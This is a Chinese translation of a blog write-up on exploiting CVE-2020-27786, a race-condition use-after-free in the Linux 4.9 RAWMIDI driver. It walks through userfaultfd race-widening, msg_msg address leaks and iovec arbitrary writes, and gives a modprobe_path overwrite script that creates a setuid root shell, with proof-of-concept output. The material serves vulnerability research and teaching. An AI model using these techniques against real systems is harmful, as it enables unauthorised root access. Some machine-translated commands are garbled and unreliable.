Linux 内核漏洞利用开发:1day 案例研究
英文原文:https://blog.hacktivesecurity.com/index.php/2022/06/13/linux-kernel-exploit-development-1day-case-study/介绍
我一直在寻找一个漏洞,可以在 "真实" 场景中练习,我在上一节课中学到的关于 Linux 内核漏洞利用的知识。由于我有一个星期的时间在 Hacktive Security 中投入时间来深化一个特定的论点,所以决定搜索一个没有公开利用的漏洞来开发。在快速介绍了我如何发现已知漏洞之后,我将详细介绍导致 Linux 内核 4.9 中的释放后使用的竞争条件的利用阶段。
本篇文章包含两部分:
[*]漏洞搜寻:关于公共资源以识别 Linux 内核中的已知漏洞,以便在现实场景中练习一些内核利用,这些资源包括:BugZilla、SyzBot、更改日志和 git 日志;
[*]内核利用:该漏洞是导致写入释放后使用的竞争条件,使用 userfaultd 技术处理来自用户空间的页面错误并使用 msg_msg 泄漏内核地址和 I/O 向量以获得写入原始数据,从而扩展了竞争窗口。使用 write 原始数据,modprobe_path 全局变量已被覆盖并弹出一个 root shell。
公开漏洞
我问自己的第一件事是:如何找到适合的 Bug?排除了通过 CVE 搜索它,因为并非所有漏洞都有指定的 CVE (通常它们是最 "著名" 的漏洞),那时候我使用了最强大的黑客技能:谷歌搜索。这让我想到了今天我想分享的各种资源,首先说这只是我个人工作的结果,无法反映执行相同工作的最佳方式。也就是说,这就是我用来找到 "匹配的" Nday 的东西:
[*]Bugzilla
[*]SyzBot
[*]Changelogs
[*]Git log
内核变更日志绝对是我最喜欢的一个,但让我们对它们全部说几句。
BugZilla
BugZilla 是 报告 Linux 内核中错误 的标准方式。可以找到按子系统组织的有趣漏洞 (例如,使用 IPv4 和 IPv6 的网络或具有 ext* 类型的文件系统等),还可以搜索关键字 (例如 "overflow"、"heap"、"UAF" 等) 使用标准搜索或更高级的搜索。个人缺点是混合了许多 "非漏洞"、挂起之类的东西。此外,没有最强大的搜索选项 (例如一些 bash)。然而,它仍然是一个不错的选择,我个人确定了一些后来排除的漏洞。
Syzbot
"syzbot 是一个基于 syzkaller fuzzer 的连续模糊测试/报告系统" (介绍 syzbot 仪表板)。
不是最好的 GUI,但至少你可以有很多潜在的开放和修复的漏洞。没有内置搜索选项,但可以使用浏览器的搜索选项或使用 HTML 解析器解析 HTML。除了缺乏搜索之外,缺点之一是存在大量误报 (在 "开放部分" 中)。然而,好处是非常好的:你可以找到开放的漏洞 (仍未修复)、复制器 (C 或 syzlang)、修复的提交和报告的问题具有非常不言自明的 syzkaller 命名法。
Syzkaller-bugs (Google Group)
syz-bot 中缺少搜索功能的情况已被 "syzkaller-bugs" Google Group 很好地取代,可以从中找到 syz-bot 报告的错误以及来自评论部分和增强搜索栏的附加信息。我真的很喜欢这个选项!
Changelogs
这是我最喜欢的方法:从你想要的内核版本的内核 CDN 下载所有更新日志,可以使用你最喜欢的 bash 命令下载文件。这种方法类似于从 git 提交中搜索,但优点是速度更快。使用一些 bash-fu,可以使用以下内联下载目标内核版本 (例如 4.x) 的所有变更日志:URL=https://cdn.kernel.org/pub/linux/kernel/v4.x/ && 卷曲 $URL | grep“ChangeLog-4.9” | grep -v '.sign' | cut -d "\"" -f 2 | while read line; do wget "$URL/$line"; 完成。
下载完所有变更日志后,就可以通过 grep 查找 UAF、OOB、overflow 等有趣的关键字。我发现在所选关键字前后显示文本非常有用,例如:grep -A5 -B5 UAF *。 通过这种方式,可以立即获得有关漏洞详细信息、受影响的子系统、限制 …… 的快速信息。
对于每个已识别的漏洞,可以通过将补丁提交与前一个进行比较来查看其补丁 (需要来自 git 的 linux 源):git diff <commit before> <commit patch>。
Git 日志
如前所述,这是与 "Changelogs" 方法类似的方法。这个概念非常简单:克隆 github 存储库并在提交历史中搜索有趣的关键字,可以使用以下命令执行此操作:
git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
cd linux-stable
git checkout -f <TAG -> # e.g. git checkout -f v4.9.316 (from https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git)
git log > ../git.log
这样可以在 git.log 文件上执行与以前相同的操作,然而,最大的缺点是文件太大并且需要更多时间 (4.9.316 上的 11.429.573 行)。这就是为什么我更喜欢 "Changelog" 方法的原因。
寻找一个好的漏洞
我正在寻找一个释放后使用漏洞,并开始在所有提到的资源中搜索它:BugZilla、SyzBot、Changelogs 和 git 历史。我将它们写在带有简历描述的表格中,以便稍后进一步分析它们。我开始深入研究他们中的一些人,查看他们的补丁和源代码,以了解可达性、编译依赖性和可利用性。我偶然发现了一个有趣的漏洞:RAWMIDI 接口中的漏洞 (c13f1463d84b86bedb664e509838bef37e6ea317 提交)。 我用 "Changelog" 方法发现了它,通过搜索 "UAF" 关键字阅读前后五行:grep -A5 -B5 UAF *。通过查看它的行为,确信该漏洞是在竞争条件下触发的 Use-After-Free。
RAWMIDI 接口
在面对这个漏洞之前,让我们看看这篇文章之后需要做的一些重要事情。易受攻击的驱动程序在 /dev/snd/midiC0D* (或基于平台的类似名称) 中作为字符设备公开,并依赖于 CONFIG_SND_RAWMIDI。它公开了以下文件操作:
// https://elixir.bootlin.com/linux/v4.9.224/source/sound/core/rawmidi.c#L1507
static const struct file_operations snd_rawmidi_f_ops =
{
.owner = THIS_MODULE,
.read = snd_rawmidi_read,
.write = snd_rawmidi_write,
.open = snd_rawmidi_open,
.release = snd_rawmidi_release,
.llseek = no_llseek,
.poll = snd_rawmidi_poll,
.unlocked_ioctl = snd_rawmidi_ioctl,
.compat_ioctl = snd_rawmidi_ioctl_compat,
};
我们感兴趣的是 open、write 和 unlocked_ioctl。
open
open (snd_rawmidi_open) 操作分配与设备交互所需的一切,但只需要知道的是第一次分配 snd_rawmidi_runtime->buffer 作为 GFP_KERNEL,大小为 4096 (PAGE_SIZE) 字节。这是 snd_rawmidi_runtime 结构:
struct snd_rawmidi_runtime {
struct snd_rawmidi_substream *substream;
unsigned int drain: 1, /* drain stage */
oss: 1; /* OSS compatible mode */
/* midi stream buffer */
unsigned char *buffer; /* buffer for MIDI data */
size_t buffer_size; /* size of buffer */
size_t appl_ptr; /* application pointer */
size_t hw_ptr; /* hardware pointer */
size_t avail_min; /* min avail for wakeup */
size_t avail; /* max used buffer for wakeup */
size_t xruns; /* over/underruns counter */
/* misc */
spinlock_t lock;
wait_queue_head_t sleep;
/* event handler (new bytes, input only) */
void (*event)(struct snd_rawmidi_substream *substream);
/* defers calls to event or ops->trigger */
struct work_struct event_work;
/* private data */
void *private_data;
void (*private_free)(struct snd_rawmidi_substream *substream);
};
write
从打开操作分配所有内容后,可以写入文件描述符,如 write(fd, &buf, 10)。这样,它会将 10 个字节填充到 snd_rawmidi_runtime->buffer 中,并使用 snd_rawmidi_runtime->appl_ptr 它将记住偏移量以便稍后再次开始写入。为了写入该缓冲区,驱动程序执行以下调用:snd_rawmidi_write => snd_rawmidi_kernel_write1 => copy_from_user
ioctl
snd_rawmidi_ioctl 负责处理 IOCTL 命令,我们感兴趣的是 SNDRV_RAWMIDI_IOCTL_PARAMS,它使用用户可控参数调用 snd_rawmidi_output_params:
int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
struct snd_rawmidi_params * params)
{
// [..] few checks
if (params->buffer_size != runtime->buffer_size) {
newbuf = kmalloc(params->buffer_size, GFP_KERNEL); //
if (!newbuf)
return -ENOMEM;
spin_lock_irq(&runtime->lock);
oldbuf = runtime->buffer;
runtime->buffer = newbuf; //
runtime->buffer_size = params->buffer_size;
runtime->avail = runtime->buffer_size;
runtime->appl_ptr = runtime->hw_ptr = 0;
spin_unlock_irq(&runtime->lock);
kfree(oldbuf); //
}
// [..]
}
此 IOCTL 对于此漏洞至关重要,使用此命令,可以使用任意值重新分配内部缓冲区,然后用旧缓冲区替换该缓冲区,后者将被释放。
漏洞分析
该漏洞已被提 "c13f1463d84b86bedb664e509838bef37e6ea317" 修补,在目标易受攻击的缓冲区上引入了一个引用计数器。为了了解漏洞存在的位置,最好查看它的补丁:
diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
index 5432111c8761..2a87128b3075 100644
--- a/include/sound/rawmidi.h
+++ b/include/sound/rawmidi.h
@@ -76,6 +76,7 @@ struct snd_rawmidi_runtime {
size_t avail_min; /* min avail for wakeup */
size_t avail; /* max used buffer for wakeup */
size_t xruns; /* over/underruns counter */
+ int buffer_ref; /* buffer reference count */
/* misc */
spinlock_t lock;
wait_queue_head_t sleep;
diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
index 358b6efbd6aa..481c1ad1db57 100644
--- a/sound/core/rawmidi.c
+++ b/sound/core/rawmidi.c
@@ -108,6 +108,17 @@ static void snd_rawmidi_input_event_work(struct work_struct *work)
runtime->event(runtime->substream);
}
+/* buffer refcount management: call with runtime->lock held */
+static inline void snd_rawmidi_buffer_ref(struct snd_rawmidi_runtime *runtime)
+{
+ runtime->buffer_ref++;
+}
+
+static inline void snd_rawmidi_buffer_unref(struct snd_rawmidi_runtime *runtime)
+{
+ runtime->buffer_ref--;
+}
+
static int snd_rawmidi_runtime_create(struct snd_rawmidi_substream *substream)
{
struct snd_rawmidi_runtime *runtime;
@@ -654,6 +665,11 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
if (!newbuf)
return -ENOMEM;
spin_lock_irq(&runtime->lock);
+ if (runtime->buffer_ref) {
+ spin_unlock_irq(&runtime->lock);
+ kfree(newbuf);
+ return -EBUSY;
+ }
oldbuf = runtime->buffer;
runtime->buffer = newbuf;
runtime->buffer_size = params->buffer_size;
@@ -962,8 +978,10 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
long result = 0, count1;
struct snd_rawmidi_runtime *runtime = substream->runtime;
unsigned long appl_ptr;
+ int err = 0;
spin_lock_irqsave(&runtime->lock, flags);
+ snd_rawmidi_buffer_ref(runtime);
while (count > 0 && runtime->avail) {
count1 = runtime->buffer_size - runtime->appl_ptr;
if (count1 > count)
@@ -982,16 +1000,19 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
if (userbuf) {
spin_unlock_irqrestore(&runtime->lock, flags);
if (copy_to_user(userbuf + result,
- runtime->buffer + appl_ptr, count1)) {
- return result > 0 ? result : -EFAULT;
- }
+ runtime->buffer + appl_ptr, count1))
+ err = -EFAULT;
spin_lock_irqsave(&runtime->lock, flags);
+ if (err)
+ goto out;
}
result += count1;
count -= count1;
}
+ out:
+ snd_rawmidi_buffer_unref(runtime);
spin_unlock_irqrestore(&runtime->lock, flags);
- return result;
+ return result > 0 ? result : err;
}
long snd_rawmidi_kernel_read(struct snd_rawmidi_substream *substream,
@@ -1262,6 +1283,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
return -EAGAIN;
}
}
+ snd_rawmidi_buffer_ref(runtime);
while (count > 0 && runtime->avail > 0) {
count1 = runtime->buffer_size - runtime->appl_ptr;
if (count1 > count)
@@ -1293,6 +1315,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
}
__end:
count1 = runtime->avail < runtime->buffer_size;
+ snd_rawmidi_buffer_unref(runtime);
添加了两个函数:snd_rawmidi_buffer_ref 和 snd_rawmidi_buffer_unref。它们分别用于在复制 (snd_rawmidi_kernel_read1) 或写入 (snd_rawmidi_kernel_write1) 到该缓冲区时使用 snd_rawmidi_runtime->buffer_ref 获取和删除对缓冲区的引用。但为什么需要这个? 因为由 snd_rawmidi_kernel_write1 和 snd_rawmidi_kernel_read1 处理的读取和写入操作在从/向用户空间复制期间使用 spin_unlock_irqrestore/spin_lock_irqrestore 暂时解锁运行时锁,从而提供一个小的竞争窗口,可以在 copy_from_user 调用期间修改对象:
static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, const unsigned char __user *userbuf, const unsigned char *kernelbuf, long count) {
// [..]
spin_unlock_irqrestore(&runtime->lock, flags); //
if (copy_from_user(runtime->buffer + appl_ptr,
userbuf + result, count1)) {
spin_lock_irqsave(&runtime->lock, flags);
result = result > 0 ? result : -EFAULT;
goto __end;
}
spin_lock_irqsave(&runtime->lock, flags); //
// [..]
}
如果并发线程使用 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 重新分配运行时-> 缓冲区,则该线程可以从 spin_lock_irq 锁定对象 (在 snd_rawmidi_kernel_write1 给出的小竞争窗口中已保持解锁状态) 并释放该缓冲区,使得重新分配任意对象并在其上写入成为可能。此外,snd_rawmidi_output_params 中的 kmalloc 是使用完全用户可控的 params->buffer_size 调用的。
int `snd_rawmidi_output_params`(struct snd_rawmidi_substream *substream,
struct snd_rawmidi_params * params)
{
// [..]
if (params->buffer_size != runtime->buffer_size) {
newbuf = kmalloc(params->buffer_size, GFP_KERNEL); //
if (!newbuf)
return -ENOMEM;
spin_lock_irq(&runtime->lock); //
oldbuf = runtime->buffer;
runtime->buffer = newbuf;
runtime->buffer_size = params->buffer_size;
runtime->avail = runtime->buffer_size;
runtime->appl_ptr = runtime->hw_ptr = 0;
spin_unlock_irq(&runtime->lock);
kfree(oldbuf); //
}
// [..]
}
如果当一个线程使用 copy_from_user 写入缓冲区时,另一个线程使用 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 释放该缓冲区并重新分配一个新的任意缓冲区,会发生什么情况? 该对象被一个新对象替换,copy_from_user 将继续写入另一个对象 ("受害者对象"),破坏其值 => User-After-Free (Write)。
这个漏洞真正好的部分是你可以拥有的 "自由":
[*]可以调用任意大小的 kmalloc (这将是我们要替换的释放对象以导致 UAF),这意味着我们可以将我们最喜欢的 slab 缓存作为目标 (基于我们的需要,ofc);
[*]可以使用 write 系统调用在缓冲区中写入尽可能多的内容;
延长 race 时间窗口
我们知道在将数据从用户空间复制到内核时,有一个小的 race 窗口,指令很少,如前所述,但好消息是我们有一个 copy_from_user 可以任意暂停处理用户空间中的页面错误!由于是在 4.9 内核 (4.9.223) 中利用该漏洞,因此 userfaultd 仍然不像 >5.11 那样没有特权,仍然可以使用它来延长 race 窗口并有必要的时间来重新分配缓冲区!
开发计划
我们声明我们将使用 userfaultd 技术来延长时间 race,如果你不熟悉此技术,请参阅 此处、此 视频 (可以使用字幕) 和 此处。总结一下:可以从用户空间处理页面错误,在处理页面错误时暂时阻止内核执行。如果我们用 MAP_ANONYMOUS 标志映射一个内存块,内存将被需求零分页,这意味着它还没有分配,可以通过 userfaultd 分配它。
[*]使用 open => 初始化 runtime->buffer 这将分配 4096 大小的缓冲区 (这将落在 kmalloc-4096 中);
[*]发送 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 命令以重新分配我们所需大小的缓冲区;
[*]使用 mmap 分配请求零分页 (MAP_ANON) 并初始化 userfaultd 以处理其页面错误;
[*]使用我们之前分配的 mmaped 内存写入 rawmidi 文件描述符 => 这将触发 copy_from_user 中的用户空间页面错误;
[*]当内核线程挂起等待用户空间页面错误时,我们可以再次发送 SNDRV_RAWMIDI_IOCTL_PARAMS 以释放当前运行时->缓冲区;
[*]例如,在 kmalloc-32 中分配一个对象,如果之前对该缓存进行了一些喷射,它将取代之前释放的运行时->缓冲区;
[*]从 userland 释放页面错误,copy_from_user 将继续将其数据 (完全在用户控制下) 写入新分配的对象;
使用这个 primitive,我们可以伪造具有任意大小 (在 write 系统调用中指定)、任意内容、任意偏移量 (因为我们可以在两个页面之间触发 userfaultd,如后文所示) 和任意缓存 (我们可以控制大小分配的任意对象) SNDRV_RAWMIDI_IOCTL_PARAMS 读写控制)。
信息泄露
Victim Object
我们将使用我们之前在 "开发计划" 部分中解释的内容来泄漏我们将重新使用的地址以进行任意写入。由于可以选择哪个缓存触发 UAF (从开发的角度来看这是黄金),我选择泄漏指向内核 .data 部分中的 init_ipc_ns 的 shm_file_data->ns 指针,它位于 kmalloc-32 (我也使用相同的函数来喷射 kmalloc-32 缓存):
void alloc_shm(int i)
{
int shmid = {0};
void *shmaddr = {0};
shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
if (shmid< 0) errExit("shmget");
shmaddr = (void *)shmat(shmid, NULL, SHM_RDONLY);
if (shmaddr < 0) errExit("shmat");
}
alloc_shm(1)
从该指针,我们将推断出 modprobe_path 的指针,以便稍后使用该技术来提升我们的特权。
msg_msg
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
然而,为了泄露该地址,我们必须妥协 kmalloc-32 中的其他一些对象,可能是一个会在其自身对象之后读取的长度字段。对于这种情况,msg_msg 是我们的完美匹配,因为它在其 msg_msg->m_ts 中指定了一个长度字段,并且它可以分配到从 kmalloc-32 到 kmalloc-4096 的几乎任何缓存中,只有一个缺点:最小分配 msg_msg 结构是 48 (sizeof(struct msg_msg)) 并且它可以在 kmalloc-64 处达到最小值。
如果你想阅读更多关于这个结构的信息,你可以查看 Fire of Salvation Writeup、Wall Of Perdition 和内核源代码。
但是,当使用大小大于 DATALEN_MSG (((size_t)PAGE_SIZE-sizeof(struct msg_msg)))(即 4096-48)的 msgsnd 发送消息时,分配一个段 (或多个段,如果需要),并且消息是 在 msg_msg (有效载荷就在结构头之后) 和 msg_msgseg 之间拆分,消息的总大小在 msg_msg->m_ts 中指定。
为了在 kmalloc-32 中分配我们的目标对象,我们必须发送一条大小为:( ( 4096 – 48 ) + 10 ) 的消息。
msg_msg 结构将在 kmalloc-4096 中分配,前 (4096 – 48) 个字节将写入 msg_msg 结构。
要分配剩余的 10 个字节,将在 kmalloc-32 中分配一个段 msg_msgseg
在这些条件下,我们可以在 kmalloc-4096 中伪造 msg_msg 结构,用我们的 UAF 覆盖它的 m_ts 值,并且使用 msgrcv 我们可以收到一条消息,其中包含超过我们在 kmalloc-32 中分配的段的值 (包括我们的目标 init_ipc_ns 指针)。
处理偏移
但是,我们想要覆盖 m_ts 值而不覆盖 msg_msg 结构中的任何其他内容,我们该怎么做呢?
如果你还记得的话,我说过我们可以覆盖具有任意大小、内容和偏移量的块。如果创建一个大小为 PAGE_SIZE * 2 (两页) 的 mmap 内存并且我们只处理第二页的页面错误,我们可以开始写入原始运行时->缓冲区并在收到 msg_msg-> 时触发页面错误 m_ts 偏移量 (0x18)。现在内核线程被阻塞,可以用 msg_msg 替换对象,当 copy_from_user 恢复时,它将开始准确地写入剩余字节的 msg_msg->m_ts 值。我们写入文件描述符的大小是 (0x18 + 0x2),因为第一个 0x18 字节将用于精确偏移,而剩余的 2 个字节将在 msg_msg->m_ts 中写入 0xffff,下图也解释了这个概念:
现在,根据从 msgrcv 接收到的消息,我们可以从 shm_file_data 中检索 init_ipc_ns 指针,可以推断出 modprobe_path 地址,计算其偏移量并继续进行任意写入阶段。
任意写入
为了在任意位置写入,我们使用上述相同的 userfault 技术,但不是针对 msg_msg,我们将使用 Vectored I/O (pipe + iovec)。已在内核 4.13 中通过 copyin 和 copyout 包装器以及 access_ok 附加项得到修复。该技术已被广泛用于利用 Android Binder CVE-2019-2215,并在此处和此处进行了详细说明。
这个想法是再次触发 UAF 但针对 iovec 结构:
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};
iovec 的最小分配发生在 sizeof(struct iovec) * 9 或 16 * 9 (144) 处,它将落在 kmalloc-192 (否则它存储在堆栈中)。但是,我选择使用 readv 分配 13 个向量,以使对象落在 kmalloc-256 中。
int pipefd;
pipe(pipefd)
// [...]
struct iovec iov_read_buffers = {0};
char read_buffer0;
memset(read_buffer0, 0x52, 0x100);
iov_read_buffers.iov_base = read_buffer0;
iov_read_buffers.iov_len= 0x10;
iov_read_buffers.iov_base = read_buffer0;
iov_read_buffers.iov_len= 0x10;
iov_read_buffers.iov_base = read_buffer0;
iov_read_buffers.iov_len= 0x10;
iov_read_buffers.iov_base = read_buffer0;
iov_read_buffers.iov_len= 0x10;
if(!fork()){
ssize_t readv_res = readv(pipefd, iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256
exit(0);
}
readv 是一个阻塞调用,它保留 (不释放) 内核中的对象,以便我们可以使用 UAF 破坏它,并在以后使用任意修改的内容重新使用它。如果破坏 iovec 结构的 iov_base,可以使用写系统调用在任意内核地址写入,因为它使用不安全的 __copy_from_user (与 copy_from_user 相同,但没有检查)。
我们的想法是:
[*]使用 SNDRV_RAWMIDI_IOCTL_PARAMS 调整 runtime->buffer 的大小,以便以大于 192 的大小登陆到 kmalloc-256
[*]写入指定零请求分页内存 (MAP_ANON) 的文件描述符,以便 copy_from_user 将停止执行,等待我们的用户态页面错误处理程序
[*]当内核线程等待时,再次使用重新调整大小的 ioctl 命令 SNDRV_RAWMIDI_IOCTL_PARAMS 释放缓冲区
[*]使用 readv 分配 iovec 结构,它将替换之前分配的 runtime->buffer
[*]恢复内核执行释放页面错误处理程序。 现在 copy_from_user 将开始写入 iovec 结构,我们将用 modprobe_path 地址覆盖 iov.iov_base。
[*]现在,为了覆盖 modprobe_path 值,我们只需使用写入系统调用将任意内容写入管道 。 在已发布的漏洞中,我使用之前描述的与相邻页面相同的技术覆盖了第二个 iov 条目 (iov)。 但是,也可以直接覆盖第一个 iov.iov_base。
好的 ! 现在我们已经用 /tmp/x 覆盖了 modprobe_path 并且..是时候弹出一个 shell 了!
modprobe_path & uid=0
如果你不熟悉 modprobe_path,我建议你查看在 Linux 内核中利用 timerfd_ctx 对象和手册页。总而言之,modprobe_path 是一个全局变量,默认值为 /sbin/modprobe,call_usermodehelper_exec 使用它来执行用户空间程序,以防执行带有未知标头的程序。由于已经用 /tmp/x 覆盖了 modprobe_path,所以当执行具有未知标头的文件时,我们的可控脚本将以 root 身份执行。
这些是准备并稍后执行 suid shell 的漏洞利用函数:
void prep_exploit(){
system("echo '#!/bin/sh' > /tmp/x");
system("echo 'touch /tmp/pwneed' >> /tmp/x");
system("echo 'chown root: /tmp/suid' >> /tmp/x");
system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
system("chmod +x /tmp/x");
system("chmod +x /tmp/nnn");
}
void get_root_shell(){
system("/tmp/nnn 2>/dev/null");
system("/tmp/suid 2>/dev/null");
}
int main(){
prep_exploit();
// [..] exploit stuff
get_root_shell(); // pop a root shell
}
该漏洞的作用是简单地创建 /tmp/x 二进制文件,该二进制文件将 suid 作为根目录放入 /tmp/suid 中的文件,并创建一个具有未知标头 (/tmp/nnn) 的文件,该文件将作为 /tmp 的根目录触发执行 /x 来自 call_usermodehelper_exec。之后,/tmp/suid 赋予 root 权限并生成 root shell。
POC:
/ $ uname -a
Linux (none) 4.9.223 #3 SMP Wed Jun 1 23:15:02 CEST 2022 x86_64 GNU/Linux
/ $ id
uid=1000(user) gid=1000 groups=1000
/ $ /main
[*] Starting exploitation ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to 4096 ..
[*] snd_write triggered (should fault)
[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x5551000!
s -l[*] Replacing freed obj with msg_msg .
[*] Waiting for userfaultd to finish ..
[*] Page fault thread terminated
[+] Page fault lock released
[+] init_ipc_ns @0xffffffff81e8d560
[+] calculated modprobe_path @0xffffffff81e42a00
[+] Starting the arbitrary write phase ..
[*] Closing and reopening re-opening rawmidi fd ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to land into kmalloc-256 ..
[*] snd_write triggered (should fault)
[*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x7771000!
[*] Waiting for readv ..
[*] Page fault thread terminated
[+] Page fault lock released
[*] Writing into the pipe ..
[*] write = 24
[+] enjoy your r00t shell [:
/ # id
uid=0(root) gid=0 groups=1000
/ #
结论
我说明了使用公共资源查找公共漏洞的经验以练习一些 linux 内核利用。一旦确定了一个好的候选者,我就开发了一个 4.9 内核的漏洞,实现了任意读写。使用这些 primitives,生成了一个 root shell。
你可以在这里找到整个漏洞利用:https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit
页:
[1]